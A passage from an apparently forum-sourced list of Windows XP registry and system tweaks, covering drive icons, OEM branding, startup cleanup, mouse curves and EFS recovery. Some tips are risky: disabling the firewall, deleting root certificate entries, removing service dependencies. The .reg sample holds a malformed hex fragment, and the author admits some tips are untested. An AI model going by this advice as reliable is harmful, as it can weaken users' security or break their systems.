HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

DRIVE ICONS.
To set the icon of any drive (hard disk, cd rom or anything else) with a letter (C:\ etc.), run REGEDIT (Start -> Run -> regedit)
Navigate to:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
If one doesn't already exist, create a new KEY called "DriveIcons". Under this key, create a new key with the letter of your drive. I.e. C for your C:\ drive.
To change the icon for that drive, create a key inside that one called DefaultIcon and set the path of (Default) to the location of your icon
eg C\DefaultIcon\ then (Default) = D:\Documents\C Drive Icon.ico
To change the name of that drive, create a key in the drive letter one (eg C\) called DefaultLabel and set the (Default) to what you want the drive to be called. This is useful if you want to assign a long name to the floppy drive.

CHANGING OEM REGISTRATIONS.
Have you used someone's new Hewlet Packard with their OEM version of Windows XP? You've seen that HP has their own icon in the Start Menu, underneath Run, that goes to their Help Site. Now, you can have your icon that does anything you want (website, program, etc) and says anything you want. Basically, you are "branding" Windows XP (Home or Pro), great for if you are a computer builder and sell them, or you just want to make Windows XP your own. It involves Regedit.
1. Start up Notepad and creat a new registry file (*.reg) and copy and paste the following into it:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@="YOUR COMPANY NAME"
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@="YOUR ICON HERE"
00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,68,00,70,00,6c,00,69,00,\
6e,00,6b,00,2e,00,69,00,63,00,6f,00,00,00
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c,00,00,00
"ThreadingModel"="Apartment"
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance]
"CLSID"="{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
"CLSID"="{13709620-C279-11CE-A49E-444553540000}"
"method"="ShellExecute"
"Command"="YOUR TITLE HERE"
"Param1"="YOUR FUNCTION HERE"
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex]
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers]
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@=""
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\MayChangeDefaultMenu]
@=""
[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\ShellFolder]
"Attributes"=dword:00000000
2. Edit where it says YOUR ICON HERE to a path to an icon (ex. c:\\icon.ico), it must be 24x24 pixels and in *.ico format. Use double back slash for path names.
3. Edit both places where it says YOUR TITLE HERE to what you want it to say in the Start Menu (ex. Elranzer Homepage).
4. Edit where it says YOUR FUNCTION here to what you want it to do when you click it, it can be anything... your website, a local HTML document, a program, a Windows funtion, whatever your imagination can provide (ex. http://www.shareordie.com).
5. Save this file as brand.reg, double-click it to enterin your information, and refresh Explorer (log off/on) to see it in the Start Menu!! This works in both Home and Professional (and probably 64-Bit Professional) Editions!

ORIGINAL WALLPAPERS.
This is more of a fun tweak than it is useful. Go to run, type regedit press ok. when that comes up go to HKEY_CURRENT_USER>Control Panel>Desktop
Now find the orginalwallpaper, right click and select modify.In the text box type the path to the file you want to be your orginal desktop wallpaper.

DELETING My eBooks AND SPECIALS FOLDER IN MY DOCUMENTS.
Click Start, then Run and type: regsvr32 /u mydocs.dll
then delete them.

DISABLE WINDOWS PICTURE AND FAX VIEWER.
By default, Windows XP opens all picture files (gif,jpg,...) with the included Windows Picture and Fax Viewer no matter what other picture viewers you have installed. To disable the Windows Picture and Fax Viewer, unregister shimgvw.dll. This can be done from command prompt: regsvr32 /u shimgvw.dll

REMOVE PAST ITEMS ICONS IN TASKBAR.
Some times When you check your TasKbar properties or when you hide or unhide icons you can see old icons from Uninstalled or old programs you dont have anymore. This Tweak will help you how to get rid of this problem Thanks to leobull of Xperience.or How To clear the Past Items or Icons list in the TaskBar, perform the following steps:
1.Open Regedit Navigate to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify
2.Delete the IconStreams and PastIconsStream values
3.Open Task Manager, click the Processes tab, click Explorer.exe , and then click End Process .
4.In Task Manager, click File , click New Task , type explorer , and then click OK .

LOCKING COMPUTERS.
To lock a computer in XP, as you probably know, you press "L" while holding down "Windows Logo" key on your keyboard. However, if you would like to lock a computer remotely, for example via "Remote Administrator", you don't have this ability. What you can do instead, is to create a shortcut on remote computer's desktop where Target %windir%\System32\rundll32.exe user32.dll,LockWorkStation Start In %windir%

ADMINISTRATOR IN WELCOME SCREEN.
When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.

BUGFIXES.
This is a strange bug in Windows XP Pro but it can and does happen to everyone. When you open the My Computer screen and your Documents folder is missing but all the other users folders are there try this tweak.
STEP 1:
START > RUN > REGEDIT > HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / Current Version / Explorer / DocFolderPaths
Once you click the DocFolderPaths folder you should see all the user's folders.
STEP 2:
Add a new string value
Value Name: your user name
Value Data: the path to your docs folder ( ex. C:\Documents and Settings\your docs folder )
Exit Registry editor and open my computer, your docs folder should now be visable.

MOUSE POINTERS.
It seems that even without pointer precision disabled, the mouse under XP is still influenced by an acceleration curve. This is especially noticeable in games. To

completely remove mouse acceleration from XP, you will need to go into the registry and adjust the SmoothmouseXYCurve values. Here is how its done.
1. Click Start button
2. Select Run
3. Type 'regedit' in the open textbox
4. Open the tree 'HKEY_CURRENT_USER', select control panel, then select mouse
5. Right clicking, modify the SmoothMouseXCurve and SmoothMouseYCurve hexidecimal values to the following:
SmoothMouseXCurve:
00,00,00,00,00,00,00,00
00,a0,00,00,00,00,00,00
00,40,01,00,00,00,00,00
00,80,02,00,00,00,00,00
00,00,05,00,00,00,00,00
SmoothMouseYCurve:
00,00,00,00,00,00,00,00
66,a6,02,00,00,00,00,00
cd,4c,05,00,00,00,00,00
a0,99,0a,00,00,00,00,00
38,33,15,00,00,00,00,00
If done correctly, you will notice you are holding a markedly more responsive mouse.

HIDDEN WINDOWS XP ICONS.
Windows XP Pro and Home contains icons for folders and files that cannot normally be seen, you can select to view hidden files from the folder options menu, but there are still some that remain hidden.
You can set windows to view these files as normal hidden files, so that when you use the view hidden files and folders toggle from the folder options menu that these will be turned on/off along with the normal hidden files.
These files are usually system files and should not be altered/deleted unless you really know what you are doing, if you don't yet still wish to change them I might suggest that you create back-ups of your system first.
I will personally accept no responsibility for any damage caused by using this tweak. To view the hidden files you need to open up regedit, if you are not sure how to do this, select run from the start menu and type in 'regedit' without the apostrophe's. In the regedit window, expand out the groups by clicking on the '+' next to the name in the left hand column of regedit, and navigate to the below address.
HKEY_CURRENT_USER \SOFTWARE \MICROSOFT \WINDOWS \CURRENTVERSION \EXPLORER \ADVANCED
when you have clicked the advanced folder on the left pane, look down the list at the titles in the right hand pane, one of those titles is 'ShowSuperHidden'
double click the title and in the window that appears set the value to equal 1 to show the super hidden files and 0 to hide them.

XP HOME ADVANCED FILE PERMISSIONS.
This is actually an addition to my previous post entitled "Get XP Pro file security with XP Home". In the aforementioned post I outlined how to access
*Advance file Permissions* on NTFS file systems for XP Home simply by booting into *Safe Mode*, rt-clicking any file or folder, and navigating to the *Security tab*. This gives the user the ability to allow or deny read, write, execute, read & write, display contents, full-control, iheritance, and take ownership permissions, with many more options available to apply to different users and groups stored on the computer. Well, you don't have to do this in *Safe Mode* (XP Home). Although it is a little less intuitive, you can simply go to your command prompt - Start>All Programs>Accessories>Command Prompt. Now type "cacls" in the window (without the quotes). This gives you the ability to add, remove or modify file permissions on files and folders through the command prompt. Type "cacls /?" for help on different options and variables. You do not need to be in safe mode to use this so it makes it a little quicker than using the safe mode security tab GUI. Remember - this only applies to NTFS. Here also is a very useful link to find a lot of extras and tweaks straight from the horse's mouth - the Microsoft Resource Center. You will find a lot of very useful web-based extra's here, most of them left unknowing to the general public - such as, "Online Crash Analysis" - a site that looks like Windows Update but you can upload your crash "dump logs" (when you get those system or application crash error reports). Microsoft will then analyze the log file and tell you some more info about WHY the system crashed (ie. faulty hardware/software/conflicts, etc).

FLASHGET :BYPASSING 8 MAX SIMULTANEOUS JOBS.
Users of Flash get will notice that the maximum number of file splits is 8. This number can be increased by the tweak below:
1. Run regedit.
2. Navigate to [HKEY_CURRENT_USER\Software\JetCar\JetCar\General\]
3. Right Click -> Add String Value.
4. Name as MaxSimJobs -> Set the value as what ever number you want.
After a restart you should be able to download with more file splits.

OUTLOOK EXPRESS WINDOWS TITLE TWEAKS.
Change the window title of Outlook Express to anything you want!
In regedt32 and navigate to HKEY_CURRENT_USER\Identities\{EE383506-901D-43C6-8E40-9A61901DF7CC}\Software\Microsoft\Outlook Express\5.0. Add a new string key called WindowTitle and make its value the desired window title. Then close the registry editor, and restart Outlook Express (if it's running.) Your new title now shows up in the title bar!

WINDOWS MEDIA PLAYER 9.
When installing WMP 9 it leaves a watersign on your desktop. You can easily remove this with: regedit:
HKey_Local_Machine\SOFTWARE\microsoft\system certificates\CA\certificates\FEE449EE0E3965A5246F00E87FDE2A065FD89D4
HKey_Local_Machine\software\microsoft\system certificates\ROOT\certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3
Remove both lines and restart computer.

CHANGING THE WINDOWS MEDIA PLAYER TITLEBAR.
This is a per-user tweak. Open RegEdit.
Browse to the following key:
HKEY_USERS\S-1-5-21-xxxxxxxxx-xxxxxxxxx-xxxxxxxxxx-xxxx\Software\Policies\Microsoft\WindowsMediaPlayer
(the x's will vary from computer to computer , it's the key without the "_Classes" at the end) Create the following String, "TitleBar" , the value of this will now become the TitleBar of Windows Media Player.

AUTO DELETE TEMPORARY FOLDER.
First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

CLEANUP STARTUP ITEMS IN MSCONFIG.
Do you ever uninstall programs and they are still listed under startup items in msconfig? Personally, I found myself with 30 such items from old installs. Microsoft leaves you no way to clean up this list, but have no fear, I have figured it out for you.
1. Open MSconfig and click on the startup items tab
2. Open Regedit and naviate to HKLM/Software/Microsoft/Sharedtools/MSconfig/startupreg
3. Compare the list of registry keys under startup reg with their counterparts in msconfig.
4. Delete the keys which are no longer valid.
5. Voila! You've cleaned up msconfig.

REMOVING SERVICES DEPENDENCIES.
This will allow you to disable a service or uninstall it from your system without effecting another service that depends on it. Here's how you do it
1. After you have set your services the way you want them and you have disabled/uninstalled something that another services depends on, run "regedit"
2. Under HKEY_LOCAL_MACHINE\System\find the service that will not function, do to another service being disabled/uninstall (found in ControlSet001\Services, ControlSet002\Services, and CurrentControlSet\Services)
3. Once you have found the service right-click on the string value, "DependOnService,"and modify
4. You should now see a list of services that it is dependent on. Simply delete the service that you have disabled/uninstalled
5. Restart your computer and your ready to go Disclaimer REMEMBER TO BACKUP YOU REGISTRY FIRST I'm not totaly sure if this will have any negative effects on your system. I used this method after uninstalling "Netbios over Tcpip" from my system completely, so that my Dhcp service would function and I have had NO negative effects on my system.

ANOTHER WAY TO DELETE HIDDEN DEVICES.
You can view and delete or modify hidden devices by:
1. Openning Device Manager. (I usually right-click on My Computer, select Properties, select the Hardware tab, then select Device Manager.)
2. Select View and check "Show hidden devices"
3. Hidden devices will appear below with the others and can be modified.

HOW TO GET "My Briefcase" IN WINDOWS XP.
go to C:\WINDOWS\system32\dllcache. look for a file named "syncapp".
double click it. an icon should appear on your desktop that says "My Briefcase". double click it. it will come up with this window that tells you how to use it.

TURN NUMLOCK ON AT LOGON.
NumLock does not toggle on by default (system-wide), even if you have it set in your PC's BIOS, because of XP's multi-user functionality. Guess Microsoft doesn't know everyone actually turns it on, which should be reason enough for what acts as "default"...
Anyway, you can hack the Windows Registry to change this behavior, or run a script at logon to turn NumLock on.
1. To enable NumLock through the Registry:
* Open Windows' Registry Editor (START > RUN, type "REGEDIT").
*. Navigate to HKEY_USERS\.Default\Control Panel\Keyboard.
*. Change the value for InitialKeyboardIndicators from 0 to 2.
2. To enable NumLock using a script, see this MS Knowledgebase article for complete instructions:
CODE
http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q262625

Option 1 is the quicker method, but if you have more than one user on your system and one or more don't want NumLock on (stranger things have been known of), then option 2 is the way to go since it allows you to only attach the script to specific users.

FREE DISK SPACE BY DELETING RESTORE POINTS.
Start button-all programs-accessories-system tools-cleanup-more options. You will have the option of deleting your restore points.When your done creat one
restore point as a back up.

HOW TO REAL GET RID OF UNNECESSARY SOFTWARE
to uninstall things like msn messenger and other hidden installs thru add remove programs, do this: find sysoc.inf (you might have to enable "show hidden files" and "show hidden/protected system folders" in explorer) and open it in notepad replace all ",hide" with "," (both with out quotes) which is easiest to do with the replace all command under edit then in add/remove programs under add/remove windows compnents and whole new list of things to uninstall and add are now listed (such as internet explorer)

HAVING PROGRAMS RUN WHEN WINDOWS LOADS SLOWS DOWN YOUR STARTUP.
There are two ways do disable programs that may be in your startup (like icq, messanger,) The easiest is to do the following:
1. start --> run --> msconfig
2. Click on the "startup" tab (furthest right)\
3. Unclick any items you don't want to load when windows starts.
The second is by deleting registry entrys, this can be done the following way:
1. Start --> run --> regedit
2. Navigate to : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3. Delete any entry's that you don't want to load up

TURN OFF INDEXING TO SPEED UP XP.
Windows XP keeps a record of all files on the hard disk so when you do a search on the hard drive it is faster. There is a downside to this and because the computer has to index all files, it will slow down normal file commands like open, close, etc. If you do not do a whole lot of searches on your hard drive then I suggest turnning this feature off:
1. Control Panel
2. Administrative Tools
3. Services
4. Disable Indexing Services

HALF LIFE AND WINDOWS XP.
1. How to recover from incompatible drivers
Before you install new drivers set a system restore point. Start>All programs>Accessories>system tools>system restore
After your new drivers don't work reset your computer. Press F8 repeatedly as soon as the BIOS screen disappears, and before the Windows XP screen appears. Select safe mode. Use system restore again to undo your mess.
2. Video Drivers
The NVidia drivers that come with XP do not allow you to run Half Life in OpenGL. Update to the newest drivers.
Despite the fact that they are not official drivers, 22.50 was the only set which worked
3. Sound Drivers
Use windows update to update Creative drivers.
4. Fixing screen flicker
Windows XP defaults to 60Hz for games. A fix is available here:
CODE
http://www.fileplanet.com/dl/dl.asp?/planetquake/ztn/nvreffix-setup.exe

Select "set: ev ery resolution to monitor's maximum supported rate"
5. Fixing lag
If you are having trouble with lag, try disabling the windows XP firewall. Go to control panel>network connections. Select connection, right click, properties, advanced, untick the firewall.
6. Mouse
You can improve your mouse smoothness for games.
Control panel>mouse>hardware>properties>advanced
Change the sample rate to a higher one, eg. 200

REGISTRY METHOD FOR REMOVING STARTUP ITEMS.
I prefer to use MSCONFIG selective startup to troubleshoot. To remove entries for good, open the registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN and HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN
Delete entries of unwanted startup daemons and tray procedures.

DISPLAY MESSAGE ON STARTUP.
Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart.

REMOVE THE DEFAULT IMAGE VIEWER IN WINDOWS ME/XP.
This tweak works in Windows Me/XP, I have not try it in Windows NT/2000 yet, because i don't have that OS, you can try it if you have.
*This tweak does not work in Windows 95/98
To remove the Windows default Image Viewer, first:
Click Start Menu
Select Run menu
Type "cmd", (for Windows Me, type "command")
Then type "regsvr32 /u shimgvw.dll" to unregister this dll. This will stop it from previewing any picture that it support, e.g. JPEG, Bitmap, GIF....
* Before perform this tweak, make sure that you have the alternative Image Viewer installed in you windows e.g. ACDsee, FireGraphics... because once you do this tweak without that application, you can't open and view your image anymore! So, to undo it, type "regsvr32 shimgvw.dll" in command prompt.

SPEED UP BOOT BY DISABLING UNUSED PORTS.
You may have tried many tweaks like modifying windowsXP start-up applications, prefetches, unload DLLs method,etc. And yes those methods do work for me.
I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.

CLEAR UNWANTED ENTRIES FROM ADD/REMOVE PROGRAMS.
Run the Registry Editor (REGEDIT).
Open HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Uninstall Remove any unwanted keys under "Uninstall."

CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.
Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.

CD ROM STOPS AUTOPLAYING/AUTORUN.
And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".

SHUTDOWN XP FASTER 1.
Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. to solve this problem you
must disable this useless sound. click start button then go to settings -> control panel -> Sound,Speech and Audio devices -> Sounds and Audio Devices -> Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.now from sounds you can select,choose "none" and then click apply and ok. now you can see some improvements when shutting down your system.

SHUTDOWN XP FASTER 2.
Start Regedit.
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.
Click on the "Control" Folder.
Select "WaitToKillServiceTimeout"
Right click on it and select Modify.
Set it a value lower than 2000 (Mine is set to 200).

EASIEST WAY TO DELETE PREFETCH.
1. Open notepad.exe, type del c:\windows\prefetch\*.* /q (without the quotes) & save as "delprefetch.bat" in c:\
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Startup" in the right window.
4. In the new window, click "add", "Browse", locate your "delprefetch.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. Reboot your computer.

SPEED UP MENU DISPLAY.
When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly. Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.
Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.
Right on it and select Modify.
Change the value to 0.
Reboot your computer.

16 COLOUR ICONS.
If you select 16bit mode for graphics your icons will revert to using 8bit (16 color) icons. Yuck! Change the following registry setting to:
[HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics] "Shell Icon BPP"="16" "Shell Icon Size"="32" Setting the BPP to 16bit will yield 65565 colors for icons.

DE-CRYPT ENCRYPTED FILES ON WINDOWS XP.
1. Login as Administrator
2. Go to Start/Run and type in cmd and click OK.
At the prompt type cipher /r:Eagent and press enter
This prompt will then display:
Please type in the password to protect your .PFX file:
Type in your Administrator password
Re-confirm your Administrator password
The prompt will then display
Your .CER file was created successfully.
Your .PFX file was created successfully.
The Eagent.cer and Eagent.pfx files will be saved in the current directory that is shown at the command prompt. Example: The command prompt displays
C:\Documents and Settings\admin> the two files are saved in the admin folder. (For security concerns, you should house the two files in your Administrator folder or on a floppy disk).
3. Go to Start/Run and type in certmgr.msc and click OK. This will launch the Certificates Manager. Navigate to Personal and right click on the folder and select All Tasks/Import. The Certificate Import Wizard will appear. Click Next. Browse to the C:\Documents and Settings\admin folder. In the Open dialog box, change the Files of Type (at the bottom) to personal Information Exchange (*.pfx,*.P12). Select the file Eagent.pfx and click Open. Click Next. Type in your Administrator password (leave the two checkboxes blank) and click Next. Make sure the Radio button is active for the first option (Automatically select the certificate store based on the type of certifcate). Click Next. Click Finish. (You'll receive a message that the import was successful). To confirm the import, close Certificates Manager and re-open it. Expand the Personal folder and you will see a new subfolder labeled Certificates. Expand that folder and you will see the new entry in the right side column. Close Certificate Manager.
4. Go to Start/Run and type in secpol.msc and click OK. This will launch the Local Security Policy. Expand the Public Key Policies folder and then right click on the Encrypted File System subfolder and select Add Data Recovery Agent... The Wizard will then display. Click Next. Click the Browse Folders... button. Browse to the C:\Documents and Settings\admin folder. Select the Eagent.cer file and click Open. (The wizard will display the status User_Unknown. That's ok). Click Next. Click Finish. You will see a new entry in the right side column. Close the Local Security Policy.
You, the Administrator are now configured as the default Recovery Agent for All Encrypted files on the Local Machine.
To Recover Encrypted files: Scenario #1
If you have completed the above steps BEFORE an existing user encrypted his/her files, you can log in to your Administrator account and navigate to the encrypted file(s). Double click on the file(s) to view the contents.
Scenario #2
If you have completed the above steps AFTER an existing user has already encrypted his/her files, you must login to the applicable User's User Account and then immediately logout. Next, login to your Administrator account and navigate to the encrypted file(s). Double click on the file(s) to view the contents.
*Warning Do not Delete or Rename a User's account from which will want to Recover the Encrypted Files. You will not be able to de-crypt the files using the steps outlined above.

DUMP FILES TWEAK & DISABLE DR.WATSON.
"Dump file. A dump file stores data from memory during a system crash and can be helpful when diagnosing problems, but like a swap file, it can also expose a lot of sensitive, unencrypted data. To prevent Windows from creating the file, go to Control Panel | System. Click on the Advanced tab and then the Settings button on the Startup and Recovery pane. Set the drop-down menu under Write debugging information to (none). "Similarly, the debugging program Dr. Watson saves information when applications crash. To disable it, go to:
HKEY_local_machine\software\Microsoft\WindowsNT\CurrentVersion\ AeDebug and set the Auto string to 0. Then use Windows Explorer to go to Documents and Settings\All Users\Shared Documents\DrWatson. Delete User.dmp and Drwtsn32.log, the insecure logs the program creates." Heed related advice from 'microsoft' regarding 'Disable Dr.Watson' first before the preceding Dr. Watson advice (go Google search.) Back up with System Restore, and go ahead. As cautious as I am, I have gladly applied these tweaks, and followed related microsot advice on Dr. Watson.

Precaution: Backups All Of Your Data Before Tweaking, Not All Of The Tips I've Mentioned Above Were Tested. I Don't Responsible For Any Damages. Happy Experiments